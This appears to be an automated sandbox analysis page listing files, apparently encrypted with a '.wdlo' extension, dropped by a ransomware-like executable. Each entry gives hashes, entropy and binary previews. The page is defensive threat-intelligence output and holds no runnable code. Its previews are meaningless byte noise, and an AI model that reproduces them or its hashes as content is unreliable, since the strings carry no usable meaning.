Preview:	..T.i....]....v).&R.....U...,.K..e..#.qi...m...[4."uA.M.y.v.U.9...T.G.l..p........4...~....... ...SN...in.i.a ..<%B"..f...~}$..?..2.....=.B\|..y.i...V......^......^Gp..4.a..XqA./.........O.7..G7..A..Q.=5..?K1.<W..]..I-q..SJ...a\/^......(...Y.....T:!..`:;A.F...m..w$.x.....%G.O...ak...v..+E...!....b.?_1..N...9W.!N.y...l'.N4...@..".s.<....x#U7.....z....ys.EWp..%..6.!..V.4........T.r........vN#]...qL.....N....d..N...E...}..s....W.U.(....qU..KEGm...CY.....O.F...<d..,&...8.%XS..........f...zJ9....I...?.j...H...].......Qy.i...p.E.I..6Ue..s... .6..\....e?....?...P5M..o.h....d.../. \|....\.c......%S...Z.l..K.Fl.i.@ ...t.0#v.t....%L..l.R?R./H...N5..x.;.........[.G...X.{V.].,~...Y=..w......\|..p......V...c......h..:Q $.K.w.[....g.u.....U...'..^+..8:..@.9.g..U..GD..kw.....jt8uP'.n..J)..Li.L\P..}.q).v\|7..M...5q.j..4.j.#.R..8....#F..d........\H..4..Rb.qg...b.<P..&E..Q.).T1.....#y.6....;3..!........y.<q/k........."..../.......z.....?...}Lko.

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (4898), with no line terminators
Category:	dropped
Size (bytes):	9798
Entropy (8bit):	7.979559640741874
Encrypted:	false
SSDEEP:	192:kIWlFgDUEHfZfwhJHV8WJKs3yC/BrS20wbe0o8N44a1G+C8eIXJkaM9:kbgDUmfWg0PcLhfG44+C8eQs
MD5:	4476D5CBB81AC24634063C20264AA60D
SHA1:	54458B6475C206DC3DAB91CBC7A6AAFF426B5A47
SHA-256:	7B81F1AD9F959481623DEADB460C6B46777F4E855C3C09EAEC91290F5A245E8D
SHA-512:	F1192D482AD46DC31795936CFF20B1576BCC62979EC1013850DB4AF406E2097610EAEB4E5CF9FCFD78A7F6012E243893DEE6B3191E985C35B9717609632F3076
Malicious:	false
Preview:	..T.i..6...x.Iy....e..))..L&"b^.J..t.....>..g...s..p...v[.j.8.tg....2..A.h..S....A.. ..SB@4...\|S....{.....5....M.......oR....`\.Z.....x8..=..{&.0......N...o.cRH....8..M_..v....{..t...>!....v6.;k.9DR.Q..,Qa.x...z.~.z.J.....6.Td..i.5...z"...\|QmE.#..+...%... ..e...7k.5...wD....Z....A...>....\..d...&.Oa..7{.EG..n...y{......-.pw."W.:Y..m...&Z.Ac..oJ..B..L...v..C,{B..uNg..~..;...N...f7.....b..r!....P`Yl[..(...nh$.g....2.!B.l1?.r.XMd.$0..Q.N1...)...PZ.?...".X. .+.d....%..V^<..a.3....$..q....p..4.[jR7u-.8b..V.....W.......8....x.}..."..h$D..C".,6..b..K..F..l.X....Di...NHFJ...^.l....RNj;.`..^.U5.....DeX\|...ft....P.n......w..g.....l.r..Q.....'@.`..p..n.n.C.O%.A.b.Bhl..H.Zy...F.y?.....WY.S.}H.....[.E...`......I.(>...B.u.....[...%.;.B.)..n..O..............)\|....h..H.'....@..#..(..8.B...I"~.utQ...s5.a.>..q..G..x.. ......O...]u3...Qu..m.`......td.=A...^[...h....v..^6r.........r...l..[..iS].[,......../.re....U.}..C~......-;=.5...s.....*....7~.9..z

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	58820
Entropy (8bit):	7.996591867462031
Encrypted:	true
SSDEEP:	1536:IbjwJ9lO4RWX3O9y1B28TC60oUQ8ou1//jaa:qjwPsKWX3l/x260oUQ8ou1b
MD5:	E9D5B0FEECE47B7E96C0CAA3D241B2CD
SHA1:	44E4875DA7BAFE95600D31183657BA9F277DB769
SHA-256:	7A7F4CB5BA73B2DF70D8380675249ADD9D1D9277895F58E9788F7C86DF6301F4
SHA-512:	4312EC40ECF67BA6A541907893038CAD3F4A613B8100BB20FAAFDF3B36C8A83DF0513A13CC13BAEDFD298F791E9BF04678C3ECD9DD41452928065AB88D862AF8
Malicious:	true
Preview:	..T.if.'.+...w.JH>'.(...+.J.d..O.}....'....7d\..K.x...\`.c....HAd...D......j.q...N.^....v.;........xpp..n]..]&>.}BQ'v.6........E...f11...../P......{n.,vN.+......T8,Q........l."-.1h\|.b.....g#.Af.../...x..........\.f...Zy^O.....(.....4[p.c..{#KT7...`.a9^..D....F....6..n...[D..c....6....&V.f..M..Q....R.c...Svi<.i%k.o..z~....M'QE,..,.d....~e.3.1>,4..dM.8.?`.6...(..6Je%...\.,...Tv..+j...g.X.b-k...../A..N.~..f..=".\|..1.9.H....(....M-q.a~.i.."1.KA`.....=.W\|.FU.Fy.~m.F...u-D.....d..J."?.Z.NG...D.(...2.}P$.n..h+..3..."..c....f....'.....,..P.;.'.RK<}.R..+.......7u0..^.^oD..Vq-(.;.s...... ......a.?..Ae...i....Q5.'..IY.O....v....g...d?$.b.nV.R.`\.."...m..FB.E..p(Y..W..(.p...(!w...~....hy...._r8no.4..P...t..x\.t.~.'BFc.h.#..W.+=.kY..j..EC....G;...bHZ..C..1..Q....]cC..\..}`A.,.......E..V.....b......?.D..S...v.i0~}o.[a..R.....Z....R..A...^....\x....?..#..@.a:]... .Q..B..P..G..U.K..Q\O...i.Q...Y.q...?U.+B...N8tB...>.&..H.t.C...xB....Mi..s..R....^.

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	112686
Entropy (8bit):	7.998354659916449
Encrypted:	true
SSDEEP:	3072:JFd2KY1eginPh4MtjojiguUPBFMnS9NGNHg:JFd1ke1Ph4Gsi04nS9Ig
MD5:	009A13DDE0D75B478D9B725FE730D961
SHA1:	9D137FD1CF5B5A14938F49469DFC74F1D10CDDFF
SHA-256:	E3A8A6AC18A3304FF3F6930BEA6254D5B460E0803C28DE6FA528F521E4875965
SHA-512:	5E23C91FF74BCD447DF1F6E4C31CC00C3212B130D2C24B644E1592F6F049AA83BAEA22B5B26AAF78161B52C397A0CF8A922205CD15641ED5FE0B957A7CA74DAD
Malicious:	true
Preview:	..T.i...n]./...}.....mF..6.&P_...J>$tEX.V.].ddDvWm...s.U`...+..v.".S.o....`.G...r7.....p.>bx...$..o.t.`.O.......4\.}WT.yZu.h.w.F.....P.......qK>pX.r..$'...].+.\|..0)..N..u...5.D...Y...{..F\|....R....PqE..k..Z....."H.C.........1..r]\.i...h.l...yw....#..P.........dS..$.:.IR..%.H..kk.:..".::......8.Z........"."...R.Iu.S.H.~..xV..........XV=..S...6...c.....\|6....}..rE... H.j.G...F...F. g..#.....6.......1q.....IU...u.....c=...E.e......d.+n...../<../....=ks........N...).....i.U...Vm.Uw...o...S..........{..+....:.nDd<...)S..pPt.'........rC..e.<.j.s...G6...&.2.o....%..7;d.i....h..y..9.....y..............u..27X..Y....jR.....{....%.&.y.......Z..4A......`"....).L.@._;.../.#..._.;..........l^f.....t....N..Z..f@l...r......6...{.N....2...1+q.vu.,.\...g.^..bD../.....k)..A^$..X.Z...c}-_0;.6.1l..YroGu...;."ZIf.t.........Qa.MQ\|.b..B.xt.P.-6..9.....ox........n.fvrc..1).......HxA..<......o`..k.`...?.}.`.(..n..j4.fdY. .K..R=g..*.}.....-..3k....\....

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929c.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	7.9763538744471605
Encrypted:	false
SSDEEP:	192:O9vz63j2KO+4FG6yTsPgJTAPQUIxmZMO/246j7Cf0n4:O9vz6CKORFG6yhUQXoOO/ijA04
MD5:	5EA4C71236BD3B478D8EAC2B1FD1E249
SHA1:	078F1FED59F0A359FC1F3AA3F8021EF9B433709C
SHA-256:	780029FA4C04EB9C64F757EA0DFF747D4CE8EB1F90417DB760487D365E012340
SHA-512:	8500ABAB75D784C4A6A8DCB92351CD287AE22583E4DA7147B2A93E3CCF8AE40E1F240DF2435D5132C62247ED26C8C90E02CD740A9D2CACC2824334A81495F248
Malicious:	false
Preview:	..T.i..g.#tD.z...e.%...........e....Nz.k..S-..:....H.......g...N...\|..B.1.\|.Vl?.e...>..b>...d..i~.....[s..FPmQ>..j....7.6.xB...YeZ$.CK.n..?..XDh..<.q..{E.:..W..H.n...W.@^.6......._....H...Ue....6..NtU.2.e.>../..y0...f.2..^.2..v....{.X....,f7\|....Z.p....iC...'....;..E.=..x.uT...@E}......@.h...9u........%......2.WP...am.mt..^.I...ue.KE7...c..YWMso$.^v...9."...(.F.a.....Qp...1..D...P.C5..{....Cl<.....<...&......<;U........"..z..@.v.,.BMP...M.[..@....&...7..I.s.C.r..}..........~;..?..G...D..,.;.....\........h.....C...V)Z.9P.)C/...IC.3......."Oy.9.8....!.h...p@%..b..43AE$G.>..T..5.z../...j.X.-S...f........+..F.Q)".....]..t...?7.LR..er.....r0.:..'.Q.;..[..nf.t.....R.....pV...<.A..YC..(.RG..G..ac...Byhu.......AJ.v...E`.z....@Q.B.......>R..4..F.e.0R..?..#>/.}...f........Z. .*..O....!.J.w\jQA.`4....4W.:.?z..}Q%P..,.."\|.......[.3G.....~@).P.8.CU@..f. FW!..q.#:.Z.......(.....n..J:i.....-eK$M{A..L..v...{.l.x..07yXu....gX....n.w..95_u].j...@.b..lY.

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	40082
Entropy (8bit):	7.996056635060008
Encrypted:	true
SSDEEP:	768:0CF3eFdujRHmujwAHf6ootlYikC88/O6glG+iOFoJggQk/G9UV7yWYiTUxHX:TF3eF0jR9j9eqZC1/O6MFUtLYiU
MD5:	39A49B9137E8B0768FFF415D939395AB
SHA1:	99CE27956AB28243B1E8B19325B633CF2A2EF168
SHA-256:	B0B6D7908F969F502C3E6706002757E0C3EAF51233D1C8149384C19D399032B1
SHA-512:	4875B284034C181FD1C9E73A5B7A43B3B92E548F587181A4AA503E2D82DF88A30807388BB9A7193F300AF71E29732FD82AEA840703940ED747C8345707A412ED
Malicious:	true
Preview:	..T.iD...D.Vt..5.B......F.r.$......J.....M.....#N3.e..hk......[q..k....&7IL.W..^X......<.x.....................3q..#...B..Z....X..x..}6..afbQ.WgP.k.=.a.A....;U..<..!.......U...'.h<+.D]........Y..X;X4..."..\.@.u..S...;_.Q.A...^.%...FZ6D..+.).....k..0....w..2.......-..h.%...Uu..b.=.~.o....R.1..OS.P8.=v.la..Xu.]....^.._....C.......,ps0.\|.Z$..S.v).b.."0-.A..;T...Z...\......k.....N..Y..Ff.gU.F.p.'.W...@..W...../......^..}..zv..n.Y?X.V..c+.c...'.C...aS.V).).........s.,..w\|.\|.`.Lr'.i..W_..v...........m..~.e..f.<...(.J..K....\..:.W...}..W..."..t...../.}?x.egj.,K.&.J....u......\.....q...V..)x/.~d.p.lpc&.1......n.. ........=.~.........Q....2...!.d!5br...<?}.'dO..._{...... .'...j..'D...Vo..P.>..>4.s.?S....m...u7.6.....J...#./..v.(.............'.Q=g...k.....ya(.?.}...a.D..?...)E.......?......Q.....%..rf.3.X{ .../A0C..../.%.OD.\..{..v.b;..Z.r.*.r.h.>.N.S..\.7..i..........V...Z..M...N.A...n..\|/,..R._2.....2..m[h..kg....$....D-U....@.N

C:\Users\jones\Local Settings\Temp\chrome_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.972139865225578
Encrypted:	false
SSDEEP:	192:vSBjoCJfpFubUZjhivyZ3Cboc4dRk60h2eX:vSZPDbViM4orr70QeX
MD5:	C4C3D07B73D56F1A0BA96C90F06BD7E5
SHA1:	9F04719C61A0286FA5977199C7CFF26675B31513
SHA-256:	F14FFEF8808FBE98AC5F3A819CA29698A8B2F5ACCEEA2410800C95A8E73DF7B8
SHA-512:	034547A279CF9AC6337828D370CA68089319EED787BEC2A0712243C5114AF8474509DC7D4C926958EA3B77A6E167D4166234F42CE97B50E017DC8C782DAECFD7
Malicious:	false
Preview:	[1003."h 0..^" $5........U-...............^c.O..I.%..A.J.]e..[$....lI`M"V..z-.._..alD.....P.....G.Q..U..C........h.H...AM.K.e{@.N.viR....v..../d5.QM$....ku.......lI.....,.Y7.z..7..=.m.3c....7[Z..S%. ...'X......Q..t..p.I..........f..a.....]..w.].......M..'.......R0RQ..{...!.'....f.;...t.c&pP.T..Y..3R....!.b&.M..d...f.qC.#...x.pOF..8..''....w..w...l4ca...........g........A...>h...\k..%...S4...(@...Q.reh.R,...2.2$....E...Y...d\..;.d.,U\|.WW..8..R>o..ov....gG@O\.F....!s.k...<...$...S...[v.=5.b.{....vr..6..._L..Bc.k...k.........'..^F...b.....C.:0...'B....xk(....OL.>K.{~fc.;a.&y.../.-._j.;......6^n\.4.b..58`.....!5B(..&e..x.....\|.O....b.2UdN.M!.[.+.%V.8o....%...+.w..e..}/<....}}.....{!..$.........,6..%J.....LR..a..?.}U8<..A..hzX`...{....C...G..x..V.r....>..`8P%.\|.^.$.C....f.e.;....z...dI..AZ......F.........b...h[.y.....6.1............%..a.Z.L....#.K.....JU.ah.1-.P...#Bd'..f.A..&.k;..^....U..h..!.8l.;.G....kW.N....[A..b.QT...Z..F.-.W.........:....^...

C:\Users\jones\Local Settings\Temp\hardz.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1752642235605752
Encrypted:	false
SSDEEP:	3072:uzgWuIkc/8heRekjHAysYV71rcXYtt1uOFtGpqb1uJtCZHsbeg:YZR0SZHAXOMYt7xTQCZHsbeg
MD5:	691B2CE88799791C837D1708C9AB5143
SHA1:	01FEABBC6ED4F7FA9D7C34018CF538D175B5120A
SHA-256:	EFC3BB92E183D8119A4318A0CEE49CD37DCB30642B09E1352D5FAF5DAAF6B021
SHA-512:	DF6C80C666468CF80A79B9CABE3123EBD272E8D0EA09E455DF41A7E6C5825A4A1B66420B94F77A3FA364DDE0435788CE88FFC530E586F002CFB3FDEAE16761FF
Malicious:	false
Preview:	BM80....)...Iy;x....I7'.V..'5...K.I....Z..!.D..........'...B.r\....4....E.3"..........G....>...b.v..i.....-.c+.P.. R...}.R.N......q..HN.s..S.....s2.8.:a.$P..fZ......yd...a...U...ZX])P&[..5\|...b[_..]W..?..e...H.#.\..CQ...g...4..0..<...`?.]G.V........{....0.....$,......po(.j..y.]O.-....j.[O==.u............a.....?....4q..?.-(~.y....D.I.+.&:...R..m..q.o......<..06K.z...X..iX.;.....Pr.r...;Ho....J..J...0...E+...E...x.k8a.$.[..F]h..>..Z?\|.Z.R+....iU6p..v..^..t>..".=..}..5>.43v.z0..F..%...wM.!#.y<1~q.\|.,.Nn8......{>.%G....c.t...Lbv....)...%^$..Z..0.....t.pp`GV1.M.T..p...............#*!........n...z.^.$7.QB.\......{....-...A....q@m2..;.......{.XP..P.5[.g..U.e....$W..j........^.#7.nX....f.N..`.....{[.U.......3...b..' ..\3..]Z.......R.a/S.....>...Oh/.>2.....1......w7..rq..K~...zT...m.8%S.......2`..h.-L..4;'...?d..g.<..w. .../.nV......l.A...;.aK..p..0'......... P....(w.\|.?..@3nB2.c...O.%..x.p.....\..uN..b...H..:~..W/k.r..J...teS..R.q

C:\Users\jones\Local Settings\Temp\jones.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.176123471608468
Encrypted:	false
SSDEEP:	3072:FJ6r0hz7fwvKm9QC6jNr1pIuCbH3+8j4MwzordMuf:Fw+z7umC6x529bHO8j4MbpMuf
MD5:	08A89B13A62E54D9199AE1C71683BCB2
SHA1:	EAAE448DDDC41D52F3AEB6C4297483D0BA0B89DD
SHA-256:	D62774825860889C81E80F90EBFFE4DD727C6116107E8D1EC88523337E0C945D
SHA-512:	251E719075E8525AA3B8949BF2C34262A7D1609CEFD8819E9435E7E06C4ADE77022997203EA61016C569FE01FBD774BB58B7514679C838D1606BD98512A06927
Malicious:	false
Preview:	BM80./.wqR..Oz..d.d...o..6.90.[n......?$.X..>`.\B...>....c.V....../}b..A...4.KJ.`.+.Jj...bm6.=R...p..,.b....v....oY..w.Uf...5f....4..s.BS.7eV..j...z~D%.x.. ..l...Lty..x...'.h..\y..05.I...=.<~,...H;2.\|.....c}x..vS~E...J...L?.9.&.....,~\|+M.EQ....K.ti.{.B..=."+.[p.R..W/V6..s6.f.\|..R.K.a.zz2x....^WL..e...a.r.....X.....}6.A..S.......C...Y./.f.HYcP....Ja#M..x..../.Q.f..L.f..tP.....1.H[....?"l.zCA..c.W..H.g.b."........g.........1.g.g>>.5...J\.H....t.t.s....6R....;........U.W....V..?.Zi.1.DkO:V.W..mQ.#..-.n..QQ......\|>\.."o...AM..n.....V:.+..L+2.0..j?........g........4..e......./.n.m3.....o.....Zd.H:..G...../...Gt..%N...!...j...$Nn......u.....Xot.c.HTp'{.3...~..H.!.....`.....n.S;..'zK+.E.\|.....XI.}.7..K...4..%W...*4T2.c~.>n..2..F/.ab.JK.L;...AN!G.^...... i.#U..D.i{..Y.....:..q.1.-...1....@...:..w.1.[....1.8......%FG.Z\|FQ...n..w...+.....\|p.....Y.....\|.z..D....Ns.8I....I..0.+N.Pt....x...@...^..\|....]9..lX..3....Xj..U...v.....t..

C:\Users\jones\Local Settings\Temp\jusched.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	36700
Entropy (8bit):	7.99529605522289
Encrypted:	true
SSDEEP:	768:x7jlAUYT+OPQXrxov7BJlsy/4t26Syp5WRC3y:FGUO/6xo9Jl2tR93y
MD5:	FE081B3464C17FED8D1123761E32A987
SHA1:	7F2F81C35E8322A26A2CE8504C9F18AA1081ECAC
SHA-256:	753741A34CAB2FD22DF814F34C9304A1A34D67139B927BF830F201770C091F83
SHA-512:	9BF7913F2CBC02556D7E4FDFDFAC2805FB70F6D52A159BB3B35F98A54AD13EC3E20027CF7B4211EEF2EDF1368D5F00F369661414F6D40FD44E49F97D1DA4AB1F
Malicious:	true
Preview:	[2023....mx.....B.9+'...U...p...!!..V...!N......#..Y.t..^#...........)'....x.F.(....t..o....T."..8.qD...n+....+.......G_...\.Dmp.9w.A2.U......=!.o.....^.b.q.s\|.P>.._qhw...n..O#k......jm.. .......ve.:. e.....MS.....(..^c.7Ol.QB..lp..&4!).^..V....(...W.?..^....7<.-.p..w.^'Us..6.26......S.k~...}..50&....>6c.ET.z..+K.[..z....F......U./V.E..4.v..<.70.P..=..Z....)..VX....YCG.R.0.<!...O<...../.......#k..S.2V.&M..k....O.h.sbq.1...R......c.\..,....ZF...F..J....\|.......0...c....uUS.g.$....L..........m..<..,...m...=..;~.>xFo...H8....u%..(8.T....vN..#U'.4....--n.Ez..1_).......?tAE>\q..p.[..#..(.'..k.d..4......`q.8.p..Jcx..o._1.&...\.....;...R2.4F..V..^..".?...........1`.9..j$.{...3..Y?Iz."L...j.8O.,F.....*.O0.p .L%[..H.n.\.h.gv......z..'...v..jM}P..a}t.>w..P`.+...k.........0...O..]7...+....h..?....&....kT.n.../x.F.qe).no....Q.W.[............;.~_....nC..'V'N..j".sY....1.U..P.....qlWt.......h...e...b..99.'m....M...{~h&.\..T.lSg.CzD.\|.ny.......

C:\Users\jones\Local Settings\Temp\msedge_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.9916787076377735
Encrypted:	true
SSDEEP:	384:IqZFNbMQEwPflBaXDcbqB5JHlRECv4xNG1wEeonLleRVkceSWwz202tE6+m8A0g:IqZbbZflBjbqB5h7Ea4zWw6L2P/Wwz2V
MD5:	616EA1656B1739EEDF359F7025B1CCD3
SHA1:	A0EDF38BF16F542435794398484030874E7D2611
SHA-256:	9FD035B6EF1005C7E969ACB95309796A3EBE04E09A613F01A73F32C67018091D
SHA-512:	87E823F2548EB2ECA104D60C8C706A1A98415B5B3AA4DAE3620D6E998A24D567FFBBF4A9373724876CF5F89847ACDF9F76820645892D3CF1582818845B9A058E
Malicious:	true
Preview:	[4004.....?T.w..N..!.}...y..M\!..\..<....DP.d.Q4....V./.....x...BL.%\|....!-7..C....R.EQ.....\|.dn..q.^..j..y.`n..V.i.7.Nl.N.........yB.rmL..U.U.pFmB..]..L.T..I.....\...Q.:f..3..r..(...S. q.P...Lvhsh`..Fh.!O..[/..s..-T..L]..R ../...D.I....f.@N../STO...i..j4.....g.>_.t...R.4.!...'2.k+5..^.._;d#>..?.,Q.5..C...Z.b...../.zQW0knsB...C.ugT.e.L.....h!....~.6.w...M.....x...?.GKI..<;....n$h.u...{.`...w......Y..ZH..:4........Z28.....0).y..[]6.......%..Q..Z.A../...P.^x..D.......@...I......\|.t..Du......-.....'....q.z...%+p......h..} ..9..C.....B...3....>.i..lx..i.............^6o..qd\..............3gv.o..Ij...m.0n...[..U..l.V..&.@.H....^{.^...9...e.U.\|LZq....'......A.'..6j..#.....e....IA<..4};@.H.%.VY.........EOG..t...:......5/..?..v>..o..?...Gh.0.,..G..Z.._!...Zl.....rv-S....].\|6.P.p..u.<.n.........Q.oAf....L.R..qK'.ub3(..S....-5....;t.E.Ok8&.< n$c....m...m.!{....24.(.I.}.E.....-...~._a...RA...?.Q.Q.W.V.70.I.>n.y..55...G.......m..n......^u;....6.. .

C:\Users\jones\Local Settings\Temp\offline.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997306029735978
Encrypted:	true
SSDEEP:	1536:+jo0tutK+aPuL1H/PoPinYezl/tts8OcQ9MW73Sys49zrodqvzzL3:+UyCK+ZL1HoPiPl/tts81Gvs49zroSzr
MD5:	DF447255FA2079DEEE45286CBEA33A7C
SHA1:	8D747C037F967AFF63684A6CA0372B6C0B9DAF56
SHA-256:	1AD920DD29650ADA8D5C6A15F269076C2DD434C70AB65895C067593A826904EB
SHA-512:	B249D7BF22BD1F71D8497E5F9B710DE06756E0BABB676A6B598740F38486FE6D9A6456E0995FBE247DEB52F440EC88C62F65192A38CC202A61749EFAE3BBD6EB
Malicious:	true
Preview:	1G.f...U.M..._!HbV.0.zc.C.v(.1g..I...1.kt>.1..yW.^.RH.L.43.} ...........(8..:0.....W..~....."...=.eo.M..\......!^...2......m&.n.......T..0.a...i-`2....gF89.....R. .;..Wrt3..k....C...h!.:.....\...SM.N&..&..G..%.u..~jfds%\P.pdZ.Ky.ao.\.7s.U..z./..p...$.K...8..C..;m....."e...R.......u..v.....ro.E>.c..e~....+q.%C..Ch....M..[.o.m..z.....h......D.M..X4\|.....b.>e.2e..@0.h....>K..,l...yb.....onZ.V...F...M.....D..Q..$.......j.D..N.Q..W&..<.4.......&'2.(.t....{n...r...)Pg=l.!.._.d..{.W:VRpTb..qfVK..)7...../6......'...;p..-..).....?k..n.......>6..OaH...61%....%6.VL.RO....e....A.E.......{...J....F.......l.d.}..M .6...U.q4.[@i&.....(.)...Lv'..R.;..XA.......@.....~.).hk~.OR.q.....^NzA..F).....4m...U..62.V.M...BZ.`E.c..s....h.........`.DFX.oV../...@......0B.......<.dw....l1..7`..A..M.$..Gv0.7.x...<.v..J.H2.t. rp..[..j..........G`.X>_..L.HH3......g....8.u.....N..Kx3.5m9<0+. ...x.-e.w.}=TD.7z........\|@..(...:.......,L.......M...@YT.v9i_..

C:\Users\jones\Local Settings\Temp\wct150C.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997887745492395
Encrypted:	true
SSDEEP:	1536:OWR5/afeiUH388EP672cPgTGU6lQGgDCXlhmv6ckQNt7UJ:OWRsE8AtY+hIbUJ
MD5:	A23FF6B49D6FB5E2062234E1CBF1439B
SHA1:	0DDA025F6FF7D667E8922E79F03239038EE8393C
SHA-256:	DE7034C7702CF40492A6470AC4B389843341DE1AD2A152A322937771F995D965
SHA-512:	3183D82E3E9B3C0283030B65ED28AB177775414B87C43792358881040659C1A905E8CCB84861AC005B3C75D2B33BE83EDEFFFE23DE08F10EAF2E28547E33A524
Malicious:	true
Preview:	{"ram........GS1V...:..4....F.b-....}Uj..........i.\2z:..U.R...r\..j.i?z..S{...J..(i.ku.r..J..(.P.,.c..hhb@i..}t....X.z..=.Ir6.o.....+EB...A[}.h...+....{.....j.u...j....(.[G..>.3/M..-........5..S.Ms(x.2..E.;.2....5..t...+.y......C...Q.(.P@C.H.D..x.6..S.g&.....yvk.>$"!.....C....g.......c.....mf..F.{.^..Zw..Z....e.z..h).P...[.Kx`+y.33.!O...xG....."F.Db._.F(...'.+..;:.H"Y..TU........t..).+.<J..mH....v.I.".gc..KyDeVB.....).a.....R6.)4.x...Q)..=.....Df.....r...B.HR..Ig...J..}.E:mV1....".a.Q^.....5CC..P..oH.[.?i..$.....d%...r.K....S...(.s...la{.!...x...XQQ.W.....`$X....YCV8."..RD.....Z...k7.oSyg..o.m.>.N.B@\|gN...A.B.t..:PQ..R...EOD..tB..x...,q.d...U..&S&Z'..,..f#...7[b.Gq....n.....q...p...^.p-!.[...Q.......m....n..-....]x.)8y. v....Dq+.?.#0.b..4.rQ.......t#.$+..[......U.-9.....unK~.9C..V...'......4a.x.,G..B.}.........'.'....7.xr(z...._..V.h.=vZ\|.+..%....."....a:.~.s$.\.:.j.1.\........J....o.,7..0.o.i.M.lP1Vm...x`oh.....s5@!...5..%.

C:\Users\jones\Local Settings\Temp\wct38F0.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.9974050687398215
Encrypted:	true
SSDEEP:	1536:GweGaaalzKrO9iUTe44WW0GzWrXS2HTdsXKGYQpsNn3SW7GBUgpsbGFuV4k0bYo:h/Pmw+eV0IWe2XRNn3zGBUgpQgYML
MD5:	C06133D9A5B05194984DB329302A25F7
SHA1:	5BAF9507F984B2B225E936C355ADB0C78A8328D3
SHA-256:	381B2BB3DF34A1B67F4A67D4A6F48E2F90A2F34725E61F75A0B62E924A7064BF
SHA-512:	41F3C23922CC0BCC25CCCC8BF4EE392334490E85FF79B4EB198CD8124913880632E833A23FC831D4F843167A0538F2516F81788EC9D1A557B2549014CC6485FF
Malicious:	true
Preview:	{"ram....b..:'{`..NCw..X.H[.<...)....P.,V..f.6.....\v6.L.&....N..~O.(.L.}.A.N.?..Q..,..."GJ...m...v...N....vf.\|.`..%..a...?..Rs.A.f.l.3cs..`..a..B.b...........9.0B2.tPE.(...g.c.....I2..6...._..^./E....i.T.Z.T.z.D6G<f.Kk..N!+I....;.;.....u...[.\|..1.n/+..Y..iL+.u.;.....?.....$.$.z.}X.o0....R.0D.....y.I:..Pin...1......4..l.\s....t......W.LKF;.........Y$..8X..uE.. .W0........q....\.h!lEc.......x....5.$...Rz.....y9\|.....A....\|cm.D..5SS...:..2`..Q.E.<\|G.v..2N..GI........:Q..D...bP.....t.7.V.Tc8>..z..8..W.[..1.OB..g....!..3..?....>I..^.$N....%...V%..S.X...(......a.\.....$Bj....>6....v....~K...U..3...J...t_n.....O.&..O..Z.n..9.e..x.8..>...JmG..>.....z..u.......p.#.g...d.aa...r.y.X...}\|.kv.t.\|..*....8g....`...f..T.1.1!.MI.8.hZJ.++.}.q.u.D..&....x..L.pmc.........D...R.6.&.Z.&2m....mX.p.G............\|..3}Y..2....btF...6..(\\...........{.z.~\|......nW0q.5E....`..}!.<..N...,x.j.uC....".4'.U..\..$.A=".t.w%....".\Gb....].m~:...1..&..r.....hW..?.....?.....

C:\Users\jones\Local Settings\Temp\wct3D66.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	1601198
Entropy (8bit):	7.987477855796793
Encrypted:	false
